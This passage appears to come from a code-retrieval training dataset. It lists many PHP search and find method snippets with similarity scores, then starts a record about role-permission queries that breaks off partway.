$pntable['search_result_column'];\n\n $where = search_construct_where($args,\n array($filescolumn['title'],\n $filescolumn['desc']));\n\n // exclude admin files\n $where .= ' AND ' . $filescolumn['modname'] . \" != 'MediaAttach'\"\n . ' AND ' . $filescolumn['objectid'] . \" < 99999999\";\n\n $sql = 'SELECT ' . $filescolumn['fileid'] . ' AS fileid, '\n . $filescolumn['modname'] . ' AS modname, '\n . $filescolumn['objectid'] . ' AS objectid,'\n . $filescolumn['date'] . ' AS filedate,'\n . $filescolumn['title'] . ' AS title, '\n . $filescolumn['desc'] . ' AS text, '\n . $filescolumn['url'] . ' AS url'\n . ' FROM ' . $filestable . ' WHERE ' . $where;\n\n $result = DBUtil::executeSQL($sql);\n if (!$result) {\n return LogUtil::registerError (__('Error! Could not load items.', $dom));\n }\n\n $sessionId = session_id();\n\n $insertSql = 'INSERT INTO ' . $searchTable . '('\n . $searchColumn['title'] . ','\n . $searchColumn['text'] . ','\n . $searchColumn['extra'] . ','\n . $searchColumn['module'] . ','\n . $searchColumn['created'] . ','\n . $searchColumn['session']\n . ') VALUES ';\n\n // Process the result set and insert into search result table\n for (; !$result->EOF; $result->MoveNext()) {\n $file = $result->GetRowAssoc(2);\n\n if (SecurityUtil::checkPermission('MediaAttach::', \"$file[modname]:$file[objectid]:$file[fileid]\", ACCESS_OVERVIEW)) {\n $sql = $insertSql . '('\n . '\\'' . DataUtil::formatForStore($file['title']) . '\\', '\n . '\\'' . DataUtil::formatForStore($file['text']) . '\\', '\n . '\\'' . DataUtil::formatForStore($file['url']) . '\\', '\n . '\\'' . 'MediaAttach' . '\\', '\n . '\\'' . DataUtil::formatForStore($file['filedate']) . '\\', '\n . '\\'' . DataUtil::formatForStore($sessionId) . '\\')';\n\n $insertResult = DBUtil::executeSQL($sql);\n if (!$insertResult) {\n return LogUtil::registerError (__('Error! Could not load items.', $dom));\n }\n }\n }\n\n return true;\n}", "public function serviceSearch($search){\n $this->getDataAccessObject()->daoSearch($search);\n }", "#[Route(path: '/patients/search', name: 'scan_search_patients', methods: ['GET'])]\n public function searchPatientAction( Request $request ) {\n\n if(\n false == $this->isGranted('ROLE_USER') || // authenticated (might be anonymous)\n false == $this->isGranted('IS_AUTHENTICATED_FULLY') // authenticated (NON anonymous)\n ){\n return $this->redirect( $this->generateUrl('login') );\n }\n\n $entities = null;\n\n $allgets = $request->query->all();;\n //$patientid = trim((string)$request->get('patientid') );\n //print_r($allgets);\n //echo \"<br>\";\n\n $searchtype = null;\n $search = null;\n\n foreach( $allgets as $thiskey => $thisvalue ) {\n $searchtype = $thiskey;\n $search = $thisvalue;\n break;\n }\n\n $searchtype = str_replace(\"_\",\" \",$searchtype);\n\n //$searchtype = trim((string)$request->get('searchtype') );\n //$search = trim((string)$request->get('search') );\n //echo \"searchtype=\".$searchtype.\"<br>\";\n //echo \"search=\".$search.\"<br>\";\n\n if( $searchtype != \"\" && $search != \"\" ) {\n\n $searchUtil = $this->container->get('search_utility');\n\n $object = 'patient';\n $params = array('request'=>$request,'object'=>$object,'searchtype'=>$searchtype,'search'=>$search,'exactmatch'=>false);\n $res = $searchUtil->searchAction($params);\n $entities = $res[$object];\n }\n\n //echo \"entities count=\".count($entities).\"<br>\";\n\n return $this->render('AppOrderformBundle/Patient/index.html.twig', array(\n 'patientsearch' => $search,\n 'patientsearchtype' => $searchtype,\n 'patiententities' => $entities,\n ));\n }", "public function search($query);", "public function action_search() {\n\t\t$productIds = explode('/', $this->request->param('id'));\n\t\t\n\t\t$products = ORM::factory('product')->where('product_id', 'in', $productIds)->find_all();\n\t\t\n\t\t$view = View::factory('product/search');\n\t\t$view->set('products', $products);\n\t\t$this->template->set('content', $view);\n\t}", "public function search()\n {\n\n }", "public function search()\n {\n\n }", "public function findByIdentifier($identifier);", "public function findByIdentifier($identifier);", "public function find($parameter, $connection){\n\t\t$find = $connection->newPerformScriptCommand(self::$layout, self::$api_find, $parameter);\n\t\t$result = $find->execute();\n\n\t\tif (Filemaker::isError($result)) {\n\t\t\techo $result->getMessage();\n\t\t}\n\n\t\t$records = $result->getRecords();\n\t\t$result = $this->getAsObject($records, self::$fields);\n\t\treturn $result;\n\t}", "public function find ($key);", "public function search(){\r\n\t\t$parishID = Convert::raw2sql($this->request->getVar('ParishID'));\t\t\r\n\t\tif(!$this->canAccess($parishID)){\r\n\t\t\treturn $this->renderWith(array('Unathorised_access', 'App'));\r\n\t\t}\r\n\t\t\r\n\t\t\r\n\t\t$this->title = 'Search Media';\r\n\t\t$this->list = $this->Results();\r\n\t\treturn $this->renderWith(array('Media_results','App'));\r\n\t}", "public function scopeSearched($query) // this is convention method\n {\n\n $search = request()->query('search');\n\n if (!$search) {\n\n return $query->published();\n\n }\n\n return $query->published()->where('title', 'LIKE', \"%{$search}%\");\n\n }", "public function search($param)\n {\n $query = $this->createQueryBuilder('s')\n ->where('s.name LIKE :param')\n ->orWhere('s.resume LIKE :param')\n ->setParameter('param',\"%$param%\")\n ->getQuery();\n\n return $query->getResult();\n }", "public function searchContent($param=\"\")\n\t\t{\n\t\t\t$paths = array();\n\n\t\t\tif (strlen($param) > 1)\n\t\t\t{\n\t\t\t\t/*\n\t\t\t\t*\tprep search space\n\t\t\t\t*/\n\n\t\t\t\t$this->loadFilesSystem();\n\n\t\t\t\t/*\n\t\t\t\t*\treceing params and making sure its not sql injectable\n\t\t\t\t*/\n\n\t\t\t\t$param = strtolower(mysqli_escape_string($this->bridge->getConnection(), $param));\n\n\t\t\t\t$query = \"SELECT c.id, c.contentName, c.contentContainer, ct.extension FROM content c, contentType ct WHERE c.contentTypeID = ct.id AND (c.contentName LIKE '%$param%' OR ct.extension LIKE '%$param%')\";\n\t\t\t\t$payLoad = $this->bridge->packData($query);\n\t\t\t\t#var_dump($payLoad);\n\t\t\t\t\n\t\t\t\tforeach ($payLoad as $key => $value)\n\t\t\t\t{\n\t\t\t\t\t$id = $value['id'];\n\t\t\t\t\t$name = $value['contentName'];\n\t\t\t\t\t$container = $value['contentContainer'];\n\t\t\t\t\t$extension = $value['extension'];\n\n\t\t\t\t\t/*\n\t\t\t\t\t*\tadding extension for files\n\t\t\t\t\t*/\n\n\t\t\t\t\tif ($extension != \"_\")\n\t\t\t\t\t{\n\t\t\t\t\t\t$name = $name.\".$extension\";\n\t\t\t\t\t}\n\n\t\t\t\t\t/*\n\t\t\t\t\t*\tconstracting path\n\t\t\t\t\t*/\n\n\t\t\t\t\t$paths[$id] = $name;\n\n\t\t\t\t\t/*\n\t\t\t\t\t*\tbacktrack\n\t\t\t\t\t*/\n\t\t\t\t\t$term = False;\n\n\t\t\t\t\twhile($term == False)\n\t\t\t\t\t{\n\t\t\t\t\t\tforeach ($this->content as $keyy => $valuee)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$idTmp = $valuee['id'];\n\t\t\t\t\t\t\t$nameTmp = $valuee['contentName'];\n\t\t\t\t\t\t\t$containerTmp = $valuee['contentContainer'];\n\t\t\t\t\t\t\t$extensionTmp = $valuee['extension'];\n\n\t\t\t\t\t\t\tif ($idTmp == $container)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$id = $value['id'];\n\t\t\t\t\t\t\t\t$name = $nameTmp;\n\t\t\t\t\t\t\t\t$container = $containerTmp;\n\t\t\t\t\t\t\t\t$extension = $extensionTmp;\n\n\t\t\t\t\t\t\t\tif ($containerTmp == 0)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$term = True;\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif (isset($paths[$id]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$paths[$id] = \"$name\\\\\".$paths[$id];\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t#var_dump($paths);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn $paths;\n\t\t}", "function search($path,$keywords) {\n\t$resultSet = array();\n\tif(storage_path_end($path)) {\n\t\t$list = storage_list($path,false);\n\t\t$info = storage_files_info($path);\n\t\tforeach($list as $item) {\n\t\t\t$nfound = 0;\n\t\t\t$tmp_result = array(\n\t\t\t\t\t'filename'=>$item,\n\t\t\t\t\t'comment'=>@$info[$item]['comment'],\n\t\t\t\t\t'path'=>$path\n\t\t\t\t\t);\n\t\t\tforeach($keywords as $keyword) {\n\t\t\t\t//if(strlen($keyword) < 2)\n\t\t\t\t//\tcontinue;\n\t\t\t\tif(stristr($item,$keyword)!==FALSE \n\t\t\t\t\t\t|| (isset($info[$item]['comment'])\n\t\t\t\t\t\t\t&& stristr($info[$item]['comment'],$keyword)!==FALSE)) {\n\t\t\t\t\t$nfound ++;\n\t\t\t\t}\n\t\t\t\tif($nfound >= count($keywords))\n\t\t\t\t\t$resultSet[] = $tmp_result;\n\t\t\t}\n\t\t}\n\t}else{\n\t\t$list = storage_list($path,false);\n\t\tis_array($list) or $list = array();\n\t\tforeach($list as $item) {\n\t\t\t$resultSet = array_merge($resultSet,search($path.'/'.$item,$keywords));\n\t\t}\n\t}\n\treturn $resultSet;\n}", "public function search(SearchRequestInterface $searchRequest) : SearchResultInterface;", "public function getSearch();", "public function search($term = null);", "public function productSearch( $search ) {\n\t\tif ( Auth::user()->user_role != 1 ) {\n\t\t\treturn redirect( '/' );\n\t\t}\n\n\t\t$user = Product::where( \"product_name\", \"like\", \"%\" . $search . \"%\" )\n\t\t ->with( 'category' )->get();\n\n\t\t$data = array();\n\t\t$data['category'] = Category::get();\n\t\t$data['product'] = $user;\n\t\t//Basic Page Settings\n\n\t\t$data['search'] = $search;\n\t\t$data['title'] = 'All Product';\n\n\t\treturn view( 'product.list', $data );\n\t}", "public function find($input);", "public function find($obj){\n\t}", "public function searchAction($query)\n\t{\n\t\t$resourceProperties = static::resourceEntityPropertiesDescription($this->objectManager);\n\t\t$searchProperties = $this->getPropertySearchFields($resourceProperties);\n\n\t\tpreg_match_all('/([-+]?\"[^\"]+\"|[^\\s]+)\\s*/', $query, $matches);\n\t\t$searchTerms = [];\n\t\tforeach ($matches[1] as $queryToken) {\n\t\t\t$type = $queryToken[0] === '+' ? '+' : ($queryToken[0] === '-' ? '-' : '*');\n\t\t\t$queryToken = ltrim($queryToken, '+-');\n\t\t\t$searchTerms[$type][] = trim($queryToken, '\"');\n\t\t}\n\t\t// strip duplicate terms\n\t\t$searchTerms = array_map('array_unique', $searchTerms);\n\n\t\t$orderings = $this->getPropertyOrderings($resourceProperties);\n\n\t\t$limit = null;\n\t\t$offset = null;\n\t\tif ($this->request->hasArgument(static::$LIMIT_ARGUMENT_NAME)) {\n\t\t\t$limit = $this->request->getArgument(static::$LIMIT_ARGUMENT_NAME);\n\t\t}\n\t\tif ($this->request->hasArgument(static::$OFFSET_ARGUMENT_NAME)) {\n\t\t\t$offset = $this->request->getArgument(static::$OFFSET_ARGUMENT_NAME);\n\t\t}\n\n\t\t$resources = $this->repository->findBySearch($searchTerms, $searchProperties, $orderings, $limit, $offset);\n\n\t\t$result = [\n\t\t\t'terms' => $searchTerms,\n\t\t\t'fields' => $searchProperties,\n\t\t\t'results' => $resources\n\t\t];\n\t\t$this->view->assign('result', $result);\n\n\t\tif ($this->view instanceof JsonView) {\n\t\t\t$this->view->setConfiguration(['result' => ['results' => ['_descendAll' => $this->resourceEntityConfiguration]]]);\n\t\t\t$this->view->setVariablesToRender(['result']);\n\t\t}\n\t}", "public static function search() {\n\n $string = Input::get('string');\n\n $results = Artist::Where('name', 'like', \"$string%\")->get();\n\n return ($results->toArray());\n }", "public function search()\n {\n return request()->get('key');\n }", "public function search(Request $request)\n\t{\n\t\t$status = 'error';\n\t\t$message = 'user_not_found';\n\t\t$code = 500;\n\t\t$data = null;\n\n\t\t$user = User::where('document', $request->document)\n\t\t\t->where('phone', $request->phone)\n\t\t\t->first();\n\n\t\tif ($user) {\n\t\t\t$user->wallet = Wallet::where('user_id', $user->id)->first();\n\t\t\t$data = $user;\n\n\t\t\t$code = 200;\n\t\t\t$status = 'success';\n\t\t\t$message = 'user_found';\n\t\t}\n\n\t\treturn response()->json([\n\t\t\t'status' => $status,\n\t\t\t'message' => $message,\n\t\t\t'data' => $data\n\t\t], $code);\n\t}", "public function find(int $key);", "public function searchByName($query);", "public function find($search_data) {\r\n\r\n # invoke find operation\r\n\r\n $params = array_merge($search_data, array('ws.op' => 'find'));\r\n\r\n $data = $this->adapter->request('GET', $this->url, $params);\r\n\r\n\r\n\r\n # get total size\r\n\r\n $ts_params = array_merge($params, array('ws.show' => 'total_size'));\r\n\r\n $total_size = $this->adapter->request('GET', $this->url, $ts_params, array('return' => 'integer'));\r\n\r\n $data['total_size'] = $total_size;\r\n\r\n\r\n\r\n # return collection\r\n\r\n return $this->readResponse($data, $this->url);\r\n\r\n }", "function searchMedia( $q )\n {\n try\n {\n $params = ( is_array($q) && isset($q['q']) ) ? $q : array( 'q' => $q );\n $result = $this->apiCall('get',\"{$this->api['syndication_url']}/resources/media/searchResults.json\",$params);\n return $this->createResponse($result,'search Media MetaData','q');\n } catch ( Exception $e ) {\n return $this->createResponse($e,'API Call');\n }\n\n }", "abstract public function find($id);", "public function actionSearch()\n {\n $this->requirePostRequest();\n\n $data = Craft::$app->getRequest()->getBodyParams();\n $resoParams = RetsRabbit::$plugin->getForms()->toReso($data);\n $search = RetsRabbit::$plugin->getSearches()->newPropertySearch([\n 'params' => $resoParams\n ]);\n\n if (RetsRabbit::$plugin->getSearches()->saveSearch($search)) {\n Craft::$app->session->setNotice(Craft::t('rets-rabbit', 'Search saved'));\n\n return $this->redirectToPostedUrl(['searchId' => $search->id]);\n }\n\n Craft::$app->session->setError(Craft::t('rets-rabbit', \"Couldn't save search.\"));\n Craft::$app->urlManager->setRouteParams([\n 'search' => $search\n ]);\n\n return $this->redirectToPostedUrl();\n }", "public function search(){ \n\t\t$this->layout = false;\t \n\t\t$q = trim(Sanitize::escape($_GET['q']));\t\n\t\tif(!empty($q)){\n\t\t\t// execute only when the search keywork has value\t\t\n\t\t\t$this->set('keyword', $q);\n\t\t\t$data = $this->BdSpoc->find('all', array('fields' => array('HrEmployee.first_name'),\n\t\t\t'group' => array('first_name'), 'conditions' => \tarray(\"OR\" => array ('first_name like' => '%'.$q.'%'),\n\t\t\t'AND' => array('HrEmployee.status' => '1', 'HrEmployee.is_deleted' => 'N','BdSpoc.is_deleted' => 'N'))));\t\t\n\t\t\t$this->set('results', $data);\n\t\t}\n }", "protected function fetchStorageRecords() {}", "public function search(Request $request){\n $results = LabResource::where('resource_name', 'LIKE', '%'.$request->q.'%')\n ->orwhere('description', 'LIKE', '%'.$request->q.'%')\n ->get();\n if ($request->labdatas_id == 'null'){\n foreach ($results as $result){\n $result['status'] = false;\n }\n }else{\n foreach ($results as $result){\n if ($test = Test::where('lab_id', $request->labdatas_id)\n ->where('lab_resource_id', $result->id)->exists()){\n $result['status'] = true;\n }else{\n $result['status'] = false;\n }\n }\n }\n return Response::json($results);\n }", "public function search($params = []);", "public function adv_data_search_get()\n {\n $sutil = new CILServiceUtil();\n $from = 0;\n $size = 10;\n\n $temp = $this->input->get('from', TRUE);\n if(!is_null($temp))\n {\n $from = intval($temp);\n }\n $temp = $this->input->get('size', TRUE);\n if(!is_null($temp))\n {\n $size = intval($temp);\n }\n $data = file_get_contents('php://input', 'r');\n \n $json = $sutil->adv_data_search($data, $from, $size);\n $this->response($json);\n }", "public function find();", "public function findByName(String $name);", "public function find($term) {\n raise('lang.MethodNotImplementedException', 'Find', __METHOD__);\n }", "public function findAction($id);", "public function searchPageAction(){\n // Get entity Manager\n $em = $this->get('doctrine')->getManager();\n\n\t$searchTxt = $_POST['search'];\n\n\n\t$films = $em->createQuery('SELECT f FROM VideotechBundle:Film f\n\t \t\t\t\t WHERE f.title like :search')\n ->setParameter('search', '%' . $searchTxt . '%')\n\t\t ->execute();\n\n\n $categories = $em->createQuery('SELECT c FROM VideotechBundle:Category c\n\t \t\t\t\t WHERE c.name like :search')\n ->setParameter('search', '%' . $searchTxt . '%')\n\t\t ->execute();\n\n // Render display\n return $this->render('@Videotech/Film/search.twig', array(\n \"films\" => $films,\n\t \"categories\" => $categories\n ));\n }", "public function refreshEntitySearchIndex()\n {\n return $this->start()->uri(\"/api/entity/search\")\n ->put()\n ->go();\n }", "public function get_resource();", "public function findWhereUri($uri);", "public function resourceExists($resource);", "public function findByTitle($searchQuery) {\n\t\t if ($this->identityMap->hasIdentifier($searchQuery, $this->objectType)) {\n\t\t $object = $this->identityMap->getObjectByIdentifier($searchQuery, $this->objectType);\n\t\t } else {\n\t\t $query = $this->createQuery();\n\t\t $query->getQuerySettings()->setRespectSysLanguage(FALSE);\n\t\t $query->getQuerySettings()->setRespectStoragePage(FALSE);\n\t\t // Suchstring kann überall im Wort vorkommen, daher den String wrappen mit %\n\t\t $searchQuery = '%'.$searchQuery.'%';\n\t\t $object = $query->matching($query->like('product_title', $searchQuery))->execute();\n\t\t }\n\t\t return $object;\n\t}", "private function rest_search() {\n\t\t// return json elements here\n\t}", "public function search(){\r\n\t\t//Test if the POST parameters exist. If they don't present the user with the\r\n\t\t//search controls/form\r\n\t\tif(!isset($_POST[\"search\"])){\r\n\t\t\t$this->template->display('search.html.php');\t\t\t\r\n\t\t}\r\n\t\t\r\n\t\t//Get the recipe from the database\r\n\t\t$recipes = Recipe::search($_POST[\"search\"]);\r\n\t\t//If successful and the count is equal to one (as desired)\r\n\t\t//set the recipe object in the template to be displayed\r\n\t\t$this->template->recipes = $recipes;\r\n\t\r\n\t\t$this->template->display('results.html.php');\r\n\t}", "private function searchById($id){\n \n $searchResults = null;\n $items = $this->items;\n if(strlen(trim($id)) == 0 ) return $searchResults;\n \n foreach($items as $item){\n if($item->id == $id){\n $searchResults[] = $item;\n } \n }\n \n return $searchResults;\n \n }", "public function search($keyword)\n {\n }", "protected function findResource($param = 'id', $resClass = null)\n {\n if (!$resClass) {\n $class = get_called_class();\n if (is_int(strpos($class, '\\\\'))) {\n $classParts = explode('\\\\', $class);\n $class = end($classParts);\n }\n $resClass = $this->getService('inflector')->singularize(substr($class, 0, -10))->toString();\n }\n \n $resource = $resClass::find($this->params()->$param);\n \n $prop = lcfirst($resClass);\n $this->assigns()->set($prop, $resource);\n return $resource;\n }", "public function searchAction() {\n $search = $this->getParam('search');\n\n\n $queryBuilder = new Application_Util_QueryBuilder($this->getLogger());\n\n $queryBuilderInput = array(\n 'searchtype' => 'simple',\n 'start' => '0',\n 'rows' => '10',\n 'sortOrder' => 'desc',\n 'sortField'=> 'score',\n 'docId' => null,\n 'query' => $search,\n 'author' => '',\n 'modifier' => 'contains_all',\n 'title' => '',\n 'titlemodifier' => 'contains_all',\n 'persons' => '',\n 'personsmodifier' => 'contains_all',\n 'referee' => '',\n 'refereemodifier' => 'contains_all',\n 'abstract' => '',\n 'abstractmodifier' => 'contains_all',\n 'fulltext' => '',\n 'fulltextmodifier' => 'contains_all',\n 'year' => '',\n 'yearmodifier' => 'contains_all',\n 'author_facetfq' => '',\n 'languagefq' => '',\n 'yearfq' => '',\n 'doctypefq' => '',\n 'has_fulltextfq' => '',\n 'belongs_to_bibliographyfq' => '',\n 'subjectfq' => '',\n 'institutefq' => ''\n );\n\n\n $query = $queryBuilder->createSearchQuery($queryBuilderInput, $this->getLogger());\n\n $result = array();\n\n $searcher = new Opus_SolrSearch_Searcher();\n try {\n $result = $searcher->search($query);\n }\n catch (Opus_SolrSearch_Exception $ex) {\n var_dump($ex);\n }\n\n $matches = $result->getReturnedMatches();\n\n $this->view->total = $result->getAllMatchesCount();\n $this->view->matches = $matches;\n }", "public function search(Request $request)\n {\n }", "public function search(Request $request)\r\n { return redirect('ud');\r\n $Stocks=Stock::where($request['column'], 'LIKE', \"%\".$request['keyword'].\"%\")->paginate(10);\r\n \r\n return view(\"stock/index\", compact(\"Stocks\"));\r\n }", "function searchRelated($productName)\n{\n // TODO: 1. try use doM\n // TODO: 2. try implement getOrElse\n return checkRelatedInCache($productName)\n ->bind(function (Maybe\\Maybe $products) use ($productName) {\n switch (get_class($products)) {\n case Maybe\\Just::class:\n return S\\value($products->extract());\n case Maybe\\Nothing::class:\n return retrieveRelated($productName);\n }\n });\n}", "public function getById($id): ?\\D3jn\\Larelastic\\Contracts\\Models\\Searchable\n {\n return (new static())->find($id);\n }", "public function resource($resource) {\n // If the resource has already been computed and cached, just use it. Otherwise, compute and cache it somewhere.\n // Big case statement for each possible type of resource\n // Likely going to be using $this->reference a lot\n switch ($resource) {\n case 'offers':\n return $this->offers; // Special case... No caching because of how offers are nested inside products\n case 'category':\n return $this->reference->resourceById('categories', $this->attr('category'));\n case 'brand':\n return $this->reference->resourceById('brands', $this->attr('brand'));\n }\n }", "public function getSearch(Request $req, $name){\n if($this->itemRepo->exists($name)){\n $item = $this->itemRepo->getItemByName($name);\n return view('marketItem.showItem', [\n 'item' => $item,\n ]);\n }\n else{\n return redirect('/')->with('status', 'Hakukohdetta ei löytynyt');\n }\n }" ]
[ "0.6283944", "0.5889564", "0.58586365", "0.5776162", "0.5700337", "0.56364644", "0.56315583", "0.56315583", "0.55933815", "0.55360687", "0.5512802", "0.5504247", "0.5504247", "0.5494807", "0.5439352", "0.5421287", "0.5376575", "0.5303873", "0.5298588", "0.52935266", "0.52716935", "0.526518", "0.5260038", "0.52308846", "0.52306306", "0.5212256", "0.5205759", "0.52038944", "0.5195192", "0.51864296", "0.51752025", "0.51665634", "0.5150628", "0.5144495", "0.513235", "0.5131904", "0.51233363", "0.51218724", "0.5105999", "0.5103669", "0.5097195", "0.5078921", "0.5076425", "0.5073229", "0.5070467", "0.5062519", "0.50576603", "0.5055168", "0.5055168", "0.5054228", "0.5054228", "0.5053491", "0.5052818", "0.5049351", "0.5043272", "0.5029095", "0.5028479", "0.50182146", "0.5000653", "0.49945056", "0.4992452", "0.49748442", "0.4968915", "0.4967763", "0.4955793", "0.49478275", "0.49473682", "0.49341837", "0.49339327", "0.4921997", "0.49151862", "0.4913034", "0.4908891", "0.49017644", "0.48895538", "0.48869404", "0.48858958", "0.48773095", "0.48745677", "0.48732445", "0.48696774", "0.4869503", "0.48656863", "0.4859784", "0.485611", "0.48497257", "0.48466873", "0.48446798", "0.48430404", "0.48428363", "0.48410922", "0.48383537", "0.48358685", "0.48306686", "0.48262462", "0.48063168", "0.48055276", "0.48049027", "0.48014563", "0.48004502", "0.48000655" ]
0.0
-1
A permission can be applied to roles.
public function roles(): BelongsToMany { return $this->belongsToMany( config('permission.models.role'), config('permission.table_names.role_has_permissions') ); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function ability($roles, $permissions, $options = []);", "public function role_can(Role $Role, string $action): bool;", "public function assign($role, $permission);", "public function listPermissionByRole()\n {\n $roles = $this->roleRepository->all();\n $permissions = $this->permissionRepository->all();\n return view('admin.permission.permission_role', compact('roles', 'permissions'));\n }", "public function authorize()\n {\n return auth()->user()->can('updatePermissions', [Role::class, request('role')]);\n }", "public function permission()\n {\n try {\n $data = [\n 'action' => route('store.permission'),\n 'page_title' => 'Permission',\n 'title' => 'Add permission',\n 'permission_id' => 0,\n 'name' => (old('name')) ? old('name') : '',\n 'description' => (old('description')) ? old('description') : '',\n 'modules' => Module::get(),\n ];\n return $data;\n } catch(\\Exception $err){\n Log::error('message error in permission on RoleRepository :'. $err->getMessage());\n return back()->with('error', $err->getMessage());\n }\n }", "public function assignPermission(Request $request, Role $role)\n {\n if(Auth::user()->can('assign-permission-to-role')){\n if($request->ids){\n $ids = $request->ids;\n foreach ($ids as $id) {\n $permission = Permission::find($id);\n $role->givePermissionTo($permission->name);\n ActivityLogger::activity(\"Le role ID:\".$role->id.'('.$role->name.') a désormais la permission id:'.$permission->id.'('.$permission->name.') donnée par l\\'utilisateur ID:'.Auth::id());\n }\n $message = sizeof($ids).' role(s) assigné(s) à la permission '.$permission->name.' avec succès';\n }\n else{\n $message = \"Aucune action n'a été effectuée.\";\n }\n // Envoyer un mail à la personne qui a recu le role avec la liste des permissions possibles\n return redirect()->route(\"roles.show\", compact('role'))->with('success',$message);\n }else{\n return back()->with('error',\"Vous n'avez pas ce droit\");\n } \n }", "public function addPermission(){\n\t\t\n\t\t\n\t\t$role = $this->checkExist();\n\t\tif($role === false){\n\t\t\treturn \"Role doesn't exist <br>\";\n\t\t}\n\t\t\n\t\t$PC = new PermissionController(array(\"id\"=>$this->_params[\"permissionId\"], \"permission\"=>$this->_params[\"permissionName\"]));\n\t\t$permission = $PC->checkExist();\n\t\tif($permission===false){\n\t\t\treturn \"Permission doesn't exist <br>\";\n\t\t}\n\t\t\n\t\t$RP = new RolePermission($role->_id, $permission->_id);\n\t\t\n\t\t$check = $RP->findInDB();\n\t\t\n\t\tif($check != false){\n\t\t\treturn(\"This role already has this permission. <br>\");\n\t\t}\n\t\t\n\t\t$RP->create();\n\t\treturn true;\n\t}", "function update_role_permision() {\n\t\t$user_role = $this->get_role_permission($_POST['role_id']);\n\t\tforeach ($user_role->result() as $role) {\n\t\t\t\n\t\t\t$this->db->where('entry_id', $role->entry_id);\n\t\t\t$list = $_POST['role_permission'];\n\t\t\t$allow = isset($list[$role->entry_id]) ? 1 : 0;\n\t\t\t$this->db->update('system_security.security_role_permission', array('allow_deny' => $allow));\n\t\t}\n\t}", "private function canModify()\n {\n //Checks roles allowed\n $roles = array(\n 'ROLE_MANAGER',\n 'ROLE_ADMIN',\n );\n\n foreach ($roles as $role) {\n if ($this->security->isGranted($role)) {\n return true;\n }\n }\n\n return false;\n }", "public function getPermissionByRoleID($id);", "public function permissions(){ return new manytomany_link($this, 'permission', 'rolepermissions');\n }", "abstract protected function rolePerms($role);", "public function can($permission);", "public function getRolePermissions()\n {\n $headers = ['Ability', 'Role'];\n\n $role_name = $this->argument('needle');\n\n $role = $this->permission->findBy('role_name', $role_name);\n if ($role) {\n $permissions = json_to_array($role->permission);\n\n if (!is_array($permissions)) {\n $permissions = [];\n }\n\n foreach ($permissions as $module=>$permission) {\n $this->warn(\"\\n\" . strtoupper($module));\n $data = [];\n\n foreach ($permission as $ability=>$perm) {\n $vals = [$module, $ability];\n if (is_bool($perm)) {\n if ($perm) {\n $vals[] = 'true';\n } else {\n $vals[] = 'false';\n }\n }\n if (is_string($perm)) {\n $vals[] = $perm;\n }\n $data[] = $vals;\n }\n $this->table($headers, $data);\n }\n\n } else {\n $this->error(\"No role found!\");\n }\n }", "public function current_role_can(string $action): bool;", "public function grant_permission(Role $Role, string $action): ?PermissionInterface;", "public function permissions(): BelongsToMany\n {\n return $this->belongsToMany(\n Permission::class,\n 'role_permissions',\n 'role_id',\n 'permission_id'\n );\n }", "public function has(Role $role, Permission $permission)\n {\n // todo: implement method\n }", "public function permissions()\n {\n return $this->belongsToMany(\n config('laravel-authorisation.models.permission'),\n config('laravel-authorisation.table_names.role_has_permissions')\n );\n }", "function custom_permissions() {\n\t\tif ($this->dx_auth->is_logged_in()) {\n\t\t\techo 'My role: '.$this->dx_auth->get_role_name().'<br/>';\n\t\t\techo 'My permission: <br/>';\n\t\t\t\n\t\t\tif ($this->dx_auth->get_permission_value('edit') != NULL AND $this->dx_auth->get_permission_value('edit')) {\n\t\t\t\techo 'Edit is allowed';\n\t\t\t} else {\n\t\t\t\techo 'Edit is not allowed';\n\t\t\t}\n\t\t\t\n\t\t\techo '<br/>';\n\t\t\t\n\t\t\tif ($this->dx_auth->get_permission_value('delete') != NULL AND $this->dx_auth->get_permission_value('delete')) {\n\t\t\t\techo 'Delete is allowed';\n\t\t\t} else {\n\t\t\t\techo 'Delete is not allowed';\n\t\t\t}\n\t\t}\n\t}", "public function can($permissions);", "public function create() {\n// $role = Sentinel::findRoleById(1);\n// $roles = Rol::get();\n// foreach($roles as $role){\n// $role->removePermission(0);\n// $role->removePermission(1);\n// $role->save();\n// }\n// dd(Sentinel::getUser()->hasAccess('sds'));\n// dd(\\Modules\\Permissions\\Entities\\ModulePermission::where('module_id', 10)->where('permission', 'like', '%.view')->orderBy('menu_id')->lists('permission')->toArray());\n }", "public function getAllPermissionsForRole(string $role): array;", "public function assignPermissionToRole(Request $request)\n {\n $role_id = $request->get(\"role_id\");\n $permission_id = $request->get(\"permission_id\");\n $permissionName = Permission::findById($permission_id)->name;\n return response(Role::findById($role_id)->givePermissionTo($permissionName),HTTP_OK);\n }", "public function givePermission($permissions);", "public function getPermissionRoleByRoleID($id);", "public function permission($permission);", "protected abstract function getAllowedRoles();", "function associatePermissionsToRole()\n {\n $retObj = array();\n try {\n\n if (isset($_POST['role_id']))\n {\n $permission_ids = json_decode($_POST['permission_ids']);\n $params = array(\n 'role_id' => $_POST['role_id'],\n 'permission_ids' => $permission_ids\n );\n\n $objAcl = new AclManager();\n $retObj['completed'] = false;\n $response = $objAcl->associatePermissionsToRole($params);\n $retObj['completed'] = true;\n\n } else {\n\n throw new \\Exception('Unsupported Request: missing critical parameter(s).');\n\n }\n\n\n } catch (\\Exception $e) {\n\n Api::invalidResponse(\n $e->getMessage(),\n 400,\n Constants::STATUS_INVALID,\n $e,\n true,\n true\n );\n\n }\n\n return Api::apiResponse($retObj, Constants::STATUS_SUCCESSFUL);\n }", "public function assign_permission_to_role(Request $request, PermissionServices $permission): void\n {\n }", "public function add_role(){\n// $admin->name = 'admin';\n// $admin->display_name = 'User Administrator';\n// $admin->description = 'User is allowed to manage and edit other users';\n// $admin->save();\n\n// $user = User::where('name','admin')->first();\n// $user->attachRole(2);\n //这个添加方法也可以\n// $user->roles()->attach($admin->id); //只需传递id即可\n\n// $editUser = new Permission();\n// $editUser->name = 